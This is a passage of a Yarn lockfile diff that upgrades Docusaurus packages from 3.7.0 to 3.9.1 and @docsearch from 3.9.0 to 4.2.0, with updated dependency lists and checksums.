10c0/609d03b752aae1c57d671eaefe4cdbde0a1d62c4b4d3ffb8bb39a41ebb61fdade7c7892a2c7c365d2997d9f93f4f3bb4034801a5baf1988b274120b3ec0ba6ad + checksum: 10c0/6ba3d381c977c224f01d47a36f78c9b99d3b89d060a357a9f8840537fdf497d9587a28165dc74e96abdf02f8db0a277d3558646355085a74c8915ee73c6780d1 languageName: node linkType: hard @@ -1931,12 +2056,12 @@ __metadata: languageName: node linkType: hard -"@csstools/selector-resolve-nested@npm:^3.0.0": - version: 3.0.0 - resolution: "@csstools/selector-resolve-nested@npm:3.0.0" +"@csstools/selector-resolve-nested@npm:^3.1.0": + version: 3.1.0 + resolution: "@csstools/selector-resolve-nested@npm:3.1.0" peerDependencies: postcss-selector-parser: ^7.0.0 - checksum: 10c0/2b01c36b3fa81388d5bddd8db962766465d76b021a815c8bb5a48c3a42c530154cc155fc496707ade627dbba6745eb8ecd9fa840c1972133c0f7d8811e0a959d + checksum: 10c0/c2b1a930ad03c1427ab90b28c4940424fb39e8175130148f16209be3a3937f7a146d5483ca1da1dfc100aa7ae86df713f0ee82d4bbaa9b986e7f47f35cb67cca languageName: node linkType: hard @@ -1972,21 +2097,24 @@ __metadata: languageName: node linkType: hard -"@docsearch/css@npm:3.9.0": - version: 3.9.0 - resolution: "@docsearch/css@npm:3.9.0" - checksum: 10c0/6300551e1cab7a5487063ec3581ae78ddaee3d93ec799556b451054448559b3ba849751b825fbd8b678367ef944bd82b3f11bc1d9e74e08e3cc48db40487b396 +"@docsearch/css@npm:4.2.0": + version: 4.2.0 + resolution: "@docsearch/css@npm:4.2.0" + checksum: 10c0/e4ce5f6ccc5cb337121bcdb290c00f124c545d2fe1d620cd2a0075e084ccc452ed85a6b3592a359d65551a8843ed16b4d12f6ad78df3a00363910c2b4bc8b111 languageName: node linkType: hard -"@docsearch/react@npm:^3.8.1": - version: 3.9.0 - resolution: "@docsearch/react@npm:3.9.0" +"@docsearch/react@npm:^3.9.0 || ^4.1.0": + version: 4.2.0 + resolution: "@docsearch/react@npm:4.2.0" dependencies: - "@algolia/autocomplete-core": "npm:1.17.9" - "@algolia/autocomplete-preset-algolia": "npm:1.17.9" - "@docsearch/css": "npm:3.9.0" - algoliasearch: "npm:^5.14.2" + "@ai-sdk/react": "npm:^2.0.30" + "@algolia/autocomplete-core": "npm:1.19.2" + "@docsearch/css": "npm:4.2.0" + ai: "npm:^5.0.30" + algoliasearch: "npm:^5.28.0" + marked: "npm:^16.3.0" + zod: "npm:^4.1.8" peerDependencies: "@types/react": ">= 16.8.0 < 20.0.0" react: ">= 16.8.0 < 20.0.0" @@ -2001,13 +2129,13 @@ __metadata: optional: true search-insights: optional: true - checksum: 10c0/5e737a5d9ef1daae1cd93e89870214c1ab0c36a3a2193e898db044bcc5d9de59f85228b2360ec0e8f10cdac7fd2fe3c6ec8a05d943ee7e17d6c1cef2e6e9ff2d + checksum: 10c0/5aee1e57cbc82476d956caa275e2be70a4cd82107d7b91d1c6ad66b6c189aef33933f50d446425661a99bc8aaf5a32115e5f3c817baf75696568a68719a53141 languageName: node linkType: hard -"@docusaurus/babel@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/babel@npm:3.7.0" +"@docusaurus/babel@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/babel@npm:3.9.1" dependencies: "@babel/core": "npm:^7.25.9" "@babel/generator": "npm:^7.25.9" @@ -2019,39 +2147,38 @@ __metadata: "@babel/runtime": "npm:^7.25.9" "@babel/runtime-corejs3": "npm:^7.25.9" "@babel/traverse": "npm:^7.25.9" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" babel-plugin-dynamic-import-node: "npm:^2.3.3" fs-extra: "npm:^11.1.1" tslib: "npm:^2.6.0" - checksum: 10c0/563ad2a95f690d8d0172acd64f96202d646072dde042edd4d80d39ad01b6fb026a2d5fe124d0e3fc3a7447120ebca15a0b1ef5f5ea431905cae80596584d722f + checksum: 10c0/ded99bd9e1c20cd354ba90d20e793fc49ec01aea98fe323e30a88487df3abe49ee2542463de772b5dc8c6ca9893da14e7f69a4ed1240eb248dbe505c67416650 languageName: node linkType: hard -"@docusaurus/bundler@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/bundler@npm:3.7.0" +"@docusaurus/bundler@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/bundler@npm:3.9.1" dependencies: "@babel/core": "npm:^7.25.9" - "@docusaurus/babel": "npm:3.7.0" - "@docusaurus/cssnano-preset": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" + "@docusaurus/babel": "npm:3.9.1" + "@docusaurus/cssnano-preset": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" babel-loader: "npm:^9.2.1" - clean-css: "npm:^5.3.2" + clean-css: "npm:^5.3.3" copy-webpack-plugin: "npm:^11.0.0" - css-loader: "npm:^6.8.1" + css-loader: "npm:^6.11.0" css-minimizer-webpack-plugin: "npm:^5.0.1" cssnano: "npm:^6.1.2" file-loader: "npm:^6.2.0" html-minifier-terser: "npm:^7.2.0" - mini-css-extract-plugin: "npm:^2.9.1" + mini-css-extract-plugin: "npm:^2.9.2" null-loader: "npm:^4.0.1" - postcss: "npm:^8.4.26" - postcss-loader: "npm:^7.3.3" - postcss-preset-env: "npm:^10.1.0" - react-dev-utils: "npm:^12.0.1" + postcss: "npm:^8.5.4" + postcss-loader: "npm:^7.3.4" + postcss-preset-env: "npm:^10.2.1" terser-webpack-plugin: "npm:^5.3.9" tslib: "npm:^2.6.0" url-loader: "npm:^4.1.1" @@ -2062,21 +2189,21 @@ __metadata: peerDependenciesMeta: "@docusaurus/faster": optional: true - checksum: 10c0/79e167e704c8fcae106a9edd7e7b8082d432bb634f51802cc92124e7409ddd227aa9c89ac46776a4fbee7c5729dac61656f5aeade997677e4076f3c0d837a2bb + checksum: 10c0/57214dd3103eb1a9d70a98acee216af5c0cce2ac5709d75d4eebc890d90b521bc6bddbf499499258a4cdb5b09bc6fb445859be4fc97e2abfc82bfd7f1ab696de languageName: node linkType: hard -"@docusaurus/core@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/core@npm:3.7.0" +"@docusaurus/core@npm:3.9.1, @docusaurus/core@npm:^3.9.1": + version: 3.9.1 + resolution: "@docusaurus/core@npm:3.9.1" dependencies: - "@docusaurus/babel": "npm:3.7.0" - "@docusaurus/bundler": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/mdx-loader": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/babel": "npm:3.9.1" + "@docusaurus/bundler": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/mdx-loader": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" boxen: "npm:^6.2.1" chalk: "npm:^4.1.2" chokidar: "npm:^3.5.3" @@ -2084,19 +2211,19 @@ __metadata: combine-promises: "npm:^1.1.0" commander: "npm:^5.1.0" core-js: "npm:^3.31.1" - del: "npm:^6.1.1" detect-port: "npm:^1.5.1" escape-html: "npm:^1.0.3" eta: "npm:^2.2.0" eval: "npm:^0.1.8" + execa: "npm:5.1.1" fs-extra: "npm:^11.1.1" html-tags: "npm:^3.3.1" html-webpack-plugin: "npm:^5.6.0" leven: "npm:^3.1.0" lodash: "npm:^4.17.21" + open: "npm:^8.4.0" p-map: "npm:^4.0.0" prompts: "npm:^2.4.2" - react-dev-utils: "npm:^12.0.1" react-helmet-async: "npm:@slorber/react-helmet-async@1.3.0" react-loadable: "npm:@docusaurus/react-loadable@6.0.0" react-loadable-ssr-addon-v5-slorber: "npm:^1.0.1" @@ -2105,12 +2232,12 @@ __metadata: react-router-dom: "npm:^5.3.4" semver: "npm:^7.5.4" serve-handler: "npm:^6.1.6" - shelljs: "npm:^0.8.5" + tinypool: "npm:^1.0.2" tslib: "npm:^2.6.0" update-notifier: "npm:^6.0.2" webpack: "npm:^5.95.0" webpack-bundle-analyzer: "npm:^4.10.2" - webpack-dev-server: "npm:^4.15.2" + webpack-dev-server: "npm:^5.2.2" webpack-merge: "npm:^6.0.1" peerDependencies: "@mdx-js/react": ^3.0.0 @@ -2118,46 +2245,46 @@ __metadata: react-dom: ^18.0.0 || ^19.0.0 bin: docusaurus: bin/docusaurus.mjs - checksum: 10c0/2b1034d27107da820f71c15d430aac308e9d63c2c144a1b2aff96927b4e703bd6abaae61a8a3434f5bb4eb25ca34ed793b2b5e6ddb9d2b41ce6e98332b281da4 + checksum: 10c0/b72b1323eaddd9e2d2deea5618cb43cd62699c8a44496bcda6661f6a8a7608f9068477f4555db72dffee7de5f017a92ce0583efc6209b376fde84fd0f7508354 languageName: node linkType: hard -"@docusaurus/cssnano-preset@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/cssnano-preset@npm:3.7.0" +"@docusaurus/cssnano-preset@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/cssnano-preset@npm:3.9.1" dependencies: cssnano-preset-advanced: "npm:^6.1.2" - postcss: "npm:^8.4.38" + postcss: "npm:^8.5.4" postcss-sort-media-queries: "npm:^5.2.0" tslib: "npm:^2.6.0" - checksum: 10c0/e6324c50bb946da60692ec387ff1708d3e0ec91f60add539412ba92d92278b843b85c66b861dcb0f089697d5e42698b5c9786f9264cae8835789126c6451911a + checksum: 10c0/152f35e8e982457089c25d8b4acfcce371b159093ee4d37a659def874a07b81d1d6de1ff320c4a2b6eba105eeda3c98da0639a5d4a6c0d460a4064d4fb19b3ee languageName: node linkType: hard -"@docusaurus/logger@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/logger@npm:3.7.0" +"@docusaurus/logger@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/logger@npm:3.9.1" dependencies: chalk: "npm:^4.1.2" tslib: "npm:^2.6.0" - checksum: 10c0/48f1b13d5f17d27515313f593f2d23b6efe29038dddaf914fd2bec9e8b598d2d7f972d8ae7b09827c9874835a7984101208287c0b93dfa3fe8c5357198378214 + checksum: 10c0/ad5d9bd2c3daacea6cc3a8124468f8396224973ee4c96205317274629a2753982679ee7cddf93fe01dea5690591d41f5bc7dd8dd07d0118c4391cdd8bb68f784 languageName: node linkType: hard -"@docusaurus/mdx-loader@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/mdx-loader@npm:3.7.0" +"@docusaurus/mdx-loader@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/mdx-loader@npm:3.9.1" dependencies: - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" "@mdx-js/mdx": "npm:^3.0.0" "@slorber/remark-comment": "npm:^1.0.0" escape-html: "npm:^1.0.3" estree-util-value-to-estree: "npm:^3.0.1" file-loader: "npm:^6.2.0" fs-extra: "npm:^11.1.1" - image-size: "npm:^1.0.2" + image-size: "npm:^2.0.2" mdast-util-mdx: "npm:^3.0.0" mdast-util-to-string: "npm:^4.0.0" rehype-raw: "npm:^7.0.0" @@ -2175,45 +2302,45 @@ __metadata: peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/08b397334b46230486cfd3b67d5d760087902b376201f2a870d33c9228671fe81d53358bb0fa1f441d69a844685ff60315f414ce717c5801dc7d7bb362dcf1c6 + checksum: 10c0/760f22792e737d3bbdfb1590a39f9e8ba6915d2f254cdb88764215fafe708e0ede3fd94ce2fd3ffdb8e245c3b74be5f857f07f4f5621c598e5248e1b66806066 languageName: node linkType: hard -"@docusaurus/module-type-aliases@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/module-type-aliases@npm:3.7.0" +"@docusaurus/module-type-aliases@npm:3.9.1, @docusaurus/module-type-aliases@npm:^3.9.1": + version: 3.9.1 + resolution: "@docusaurus/module-type-aliases@npm:3.9.1" dependencies: - "@docusaurus/types": "npm:3.7.0" + "@docusaurus/types": "npm:3.9.1" "@types/history": "npm:^4.7.11" "@types/react": "npm:*" "@types/react-router-config": "npm:*" "@types/react-router-dom": "npm:*" - react-helmet-async: "npm:@slorber/react-helmet-async@*" + react-helmet-async: "npm:@slorber/react-helmet-async@1.3.0" react-loadable: "npm:@docusaurus/react-loadable@6.0.0" peerDependencies: react: "*" react-dom: "*" - checksum: 10c0/fca90450afb0aaafbae20b70adc2b35af81fff20a1d0fcf3c652b0200ac9be870add257e577e227854b20b9ca375fa53f99242435d2576dfeb7ee791d3fb25ae + checksum: 10c0/42669ec2ae4e96bee6a3eb2d7514c6108ed596a923b3d0298ca89e434f3b25f910dcff1717506f17873b6dc5a051dbd514cf9d0393bfbb7a99bfc23076712774 languageName: node linkType: hard -"@docusaurus/plugin-content-blog@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-content-blog@npm:3.7.0" +"@docusaurus/plugin-content-blog@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-content-blog@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/mdx-loader": "npm:3.7.0" - "@docusaurus/theme-common": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/mdx-loader": "npm:3.9.1" + "@docusaurus/theme-common": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" cheerio: "npm:1.0.0-rc.12" feed: "npm:^4.2.2" fs-extra: "npm:^11.1.1" lodash: "npm:^4.17.21" - reading-time: "npm:^1.5.0" + schema-dts: "npm:^1.1.2" srcset: "npm:^4.0.0" tslib: "npm:^2.6.0" unist-util-visit: "npm:^5.0.0" @@ -2223,148 +2350,162 @@ __metadata: "@docusaurus/plugin-content-docs": "*" react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/8eb1e4f673763a3d5e727cbfe867b5334c67c65ca0804bcd81b818ca62e9ff33cf9c0db013958a40c590327bf4b8037cd5d510f39bc699e6ede8f02680f3af1b + checksum: 10c0/ef16c17467e549e9ce0f6bc09c75832db859e9930b59a2f008740f769238b5b4137b13437e8c46eca65f77af9b33c899d0fc083ac137b08611087c41e88211af languageName: node linkType: hard -"@docusaurus/plugin-content-docs@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-content-docs@npm:3.7.0" +"@docusaurus/plugin-content-docs@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-content-docs@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/mdx-loader": "npm:3.7.0" - "@docusaurus/module-type-aliases": "npm:3.7.0" - "@docusaurus/theme-common": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/mdx-loader": "npm:3.9.1" + "@docusaurus/module-type-aliases": "npm:3.9.1" + "@docusaurus/theme-common": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" "@types/react-router-config": "npm:^5.0.7" combine-promises: "npm:^1.1.0" fs-extra: "npm:^11.1.1" js-yaml: "npm:^4.1.0" lodash: "npm:^4.17.21" + schema-dts: "npm:^1.1.2" tslib: "npm:^2.6.0" utility-types: "npm:^3.10.0" webpack: "npm:^5.88.1" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/eab3810b1b34d0b037cd802747892ece163d818013b4c33a9db40f973df05a6c12a3120f746afa2648b9c2c2b1ec711d6c4552a4cc8e2d904522c355cc02de71 + checksum: 10c0/960fa1d8dde0f83137416d79726693c9a577736dc8c055f38cc6fa849192e9335704b8e48a1974d6c316a888e7d6736de10ddcea59c31774d482bfc0841f03ca languageName: node linkType: hard -"@docusaurus/plugin-content-pages@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-content-pages@npm:3.7.0" +"@docusaurus/plugin-content-pages@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-content-pages@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/mdx-loader": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/mdx-loader": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" fs-extra: "npm:^11.1.1" tslib: "npm:^2.6.0" webpack: "npm:^5.88.1" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/7f1df2f4eb9c4f74af1bfbd7a3fed9874e1bdc06a9d9772584e3f121d63c9686bc6e1c2d9e3304a95cb24b8f12db342ac28132fe08c0082a2cf925a347dd8115 + checksum: 10c0/31fd22f410a98ac82cc7f111c42d340d566339b25a5cab58c60908c198a46957ab1f8e6ccd4c9ffa1fc580c5e74d2b93a4659e6514fe9b73b0dbb066f56532ad + languageName: node + linkType: hard + +"@docusaurus/plugin-css-cascade-layers@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-css-cascade-layers@npm:3.9.1" + dependencies: + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" + tslib: "npm:^2.6.0" + checksum: 10c0/58e5920733add12bcac51da07449aeea747f2621bf317c5ebd29432d8256c3cbe49fa127dd53bd02a1739fe15f809314d0b0ca3ca2ef46cc72b9b669d873cd9f languageName: node linkType: hard -"@docusaurus/plugin-debug@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-debug@npm:3.7.0" +"@docusaurus/plugin-debug@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-debug@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" fs-extra: "npm:^11.1.1" - react-json-view-lite: "npm:^1.2.0" + react-json-view-lite: "npm:^2.3.0" tslib: "npm:^2.6.0" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/968a1c14ebe7fed9775269f1b6b86dbe09efbf48d2f0c9ac9ee5572fda9d22b41c970001b58b947d078419b42af6d70f60e87c1d8f24f92c7ce422f364ec32eb + checksum: 10c0/fb41c7ffac20da423ea64cf4be00fdc80893f4a70aa64ccff0d94adb65964f74c9b7816d5fab5a2f52c079e0672087de937f3fecf96536fd9e30ec8cc921afde languageName: node linkType: hard -"@docusaurus/plugin-google-analytics@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-google-analytics@npm:3.7.0" +"@docusaurus/plugin-google-analytics@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-google-analytics@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" tslib: "npm:^2.6.0" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/f3881ac270ee38f582563f679d33e4755bfb24c5bf57f31185d8e7caebf7e9e73a480e57c7db88e4f3b15c0176a6b092919b1e4bed078fad58333076aeb116cf + checksum: 10c0/af6f459c0e2bb7b858cea89df021afce364b71bf0aa0452487206bda14125525779ad1a3413b29d937f48a926c050a6c489a1e526e38491503b014cba9a7582f languageName: node linkType: hard -"@docusaurus/plugin-google-gtag@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-google-gtag@npm:3.7.0" +"@docusaurus/plugin-google-gtag@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-google-gtag@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" "@types/gtag.js": "npm:^0.0.12" tslib: "npm:^2.6.0" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/899429408e2ff95504f8e9c79ffa23877fb717e12746d94d7e96d448a539f04f848b6111b99a15cd08af47b792d0ae2d985fd4af342263b713116cf835058f43 + checksum: 10c0/bf61b02cc8e99533066dd3d0004607594864eb1ff239e2975d4e4fa1bf3d3f552c896ce9b9c6b65ddaccf49a3c9fa724099fd9ad9d2c0a398912a1de552bbb6a languageName: node linkType: hard -"@docusaurus/plugin-google-tag-manager@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-google-tag-manager@npm:3.7.0" +"@docusaurus/plugin-google-tag-manager@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-google-tag-manager@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" tslib: "npm:^2.6.0" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/9980d71196835e25f548ebbeac18181914e23c6f07b0441659a12bdfd4fbc15f41b9bfe97b314aae2d8e0e49c0cfd9f38f372452b0a92f3b9a48d2568104f0b9 + checksum: 10c0/29dde4b46b9eb9443fccbe602cf56a16b25f6a49dccc35f2198a0b46dbc9c735e22e793f1bdfeece1720ea2e05d3387408e7dd17734fa68f6314d530139bf32c languageName: node linkType: hard -"@docusaurus/plugin-sitemap@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-sitemap@npm:3.7.0" +"@docusaurus/plugin-sitemap@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-sitemap@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-common": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" fs-extra: "npm:^11.1.1" sitemap: "npm:^7.1.1" tslib: "npm:^2.6.0" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/06cce94a8bb81adb87903776086c16fc77029c418b7f07d96506d6ed4d569a7ce3a816627d74f15c1c6a1a98f0ce278c9fc12ca05246c8af8742c12d3b145f30 + checksum: 10c0/be2180356d43508eaf6ec6e81cbe1d87c44af5ca395248200725c241a8d39cef648c7444e7b4b704a4037b71d80efa8e0bae291ffe8bf6b5aaf42e4630c6a77a languageName: node linkType: hard -"@docusaurus/plugin-svgr@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/plugin-svgr@npm:3.7.0" +"@docusaurus/plugin-svgr@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/plugin-svgr@npm:3.9.1" dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" + "@docusaurus/utils": "npm:3.9.1" + "@docusaurus/utils-validation": "npm:3.9.1" "@svgr/core": "npm:8.1.0" "@svgr/webpack": "npm:^8.1.0" tslib: "npm:^2.6.0" @@ -2372,59 +2513,59 @@ __metadata: peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/c776758b43db2dfeef234197c98345efb4d28a57f29d0158ea0a3f542391de063cd4f535f15f150d0311aee9de000d126b5730cf1e143120baa6c5a8ea1b527f - languageName: node - linkType: hard - -"@docusaurus/preset-classic@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/preset-classic@npm:3.7.0" - dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/plugin-content-blog": "npm:3.7.0" - "@docusaurus/plugin-content-docs": "npm:3.7.0" - "@docusaurus/plugin-content-pages": "npm:3.7.0" - "@docusaurus/plugin-debug": "npm:3.7.0" - "@docusaurus/plugin-google-analytics": "npm:3.7.0" - "@docusaurus/plugin-google-gtag": "npm:3.7.0" - "@docusaurus/plugin-google-tag-manager": "npm:3.7.0" - "@docusaurus/plugin-sitemap": "npm:3.7.0" - "@docusaurus/plugin-svgr": "npm:3.7.0" - "@docusaurus/theme-classic": "npm:3.7.0" - "@docusaurus/theme-common": "npm:3.7.0" - "@docusaurus/theme-search-algolia": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" + checksum: 10c0/6f5d14151478964c8e19feec06edf6a974d266eb7b1cbce6784167171b0f671e4eb3683328537ef19c23062da9bdb3d169a8a8a3c271134ea9349855034bdbda + languageName: node + linkType: hard + +"@docusaurus/preset-classic@npm:^3.9.1": + version: 3.9.1 + resolution: "@docusaurus/preset-classic@npm:3.9.1" + dependencies: + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/plugin-content-blog": "npm:3.9.1" + "@docusaurus/plugin-content-docs": "npm:3.9.1" + "@docusaurus/plugin-content-pages": "npm:3.9.1" + "@docusaurus/plugin-css-cascade-layers": "npm:3.9.1" + "@docusaurus/plugin-debug": "npm:3.9.1" + "@docusaurus/plugin-google-analytics": "npm:3.9.1" + "@docusaurus/plugin-google-gtag": "npm:3.9.1" + "@docusaurus/plugin-google-tag-manager": "npm:3.9.1" + "@docusaurus/plugin-sitemap": "npm:3.9.1" + "@docusaurus/plugin-svgr": "npm:3.9.1" + "@docusaurus/theme-classic": "npm:3.9.1" + "@docusaurus/theme-common": "npm:3.9.1" + "@docusaurus/theme-search-algolia": "npm:3.9.1" + "@docusaurus/types": "npm:3.9.1" peerDependencies: react: ^18.0.0 || ^19.0.0 react-dom: ^18.0.0 || ^19.0.0 - checksum: 10c0/25a77c337168f32ce7d6df9b9222c1b21dc3414506841bd4b72be058e10ccfac3ca4e27a392f14f2b591f36815131ed2240795b77d566630980b92952c41897a - languageName: node - linkType: hard - -"@docusaurus/theme-classic@npm:3.7.0": - version: 3.7.0 - resolution: "@docusaurus/theme-classic@npm:3.7.0" - dependencies: - "@docusaurus/core": "npm:3.7.0" - "@docusaurus/logger": "npm:3.7.0" - "@docusaurus/mdx-loader": "npm:3.7.0" - "@docusaurus/module-type-aliases": "npm:3.7.0" - "@docusaurus/plugin-content-blog": "npm:3.7.0" - "@docusaurus/plugin-content-docs": "npm:3.7.0" - "@docusaurus/plugin-content-pages": "npm:3.7.0" - "@docusaurus/theme-common": "npm:3.7.0" - "@docusaurus/theme-translations": "npm:3.7.0" - "@docusaurus/types": "npm:3.7.0" - "@docusaurus/utils": "npm:3.7.0" - "@docusaurus/utils-common": "npm:3.7.0" - "@docusaurus/utils-validation": "npm:3.7.0" + checksum: 10c0/e9e29e7e12f6b857f56d7ab7db09955e9b75048d17ff5cf7e2033cee2ad701ebb8ca1793e613d19ee0ab2158f1ee4543457034e0f42e2e173cb043cdd2f78c99 + languageName: node + linkType: hard + +"@docusaurus/theme-classic@npm:3.9.1": + version: 3.9.1 + resolution: "@docusaurus/theme-classic@npm:3.9.1" + dependencies: + "@docusaurus/core": "npm:3.9.1" + "@docusaurus/logger": "npm:3.9.1" + "@docusaurus/mdx-loader": "npm:3.9.1" + "@docusaurus/module-type-aliases": "npm:3.9.1" + "@docusaurus/plugin-content-blog": "npm:3.9.1" + "@docusaurus/plugin-content-docs": "npm:3.9.1" + "@docusaurus/plugin-content-pages": 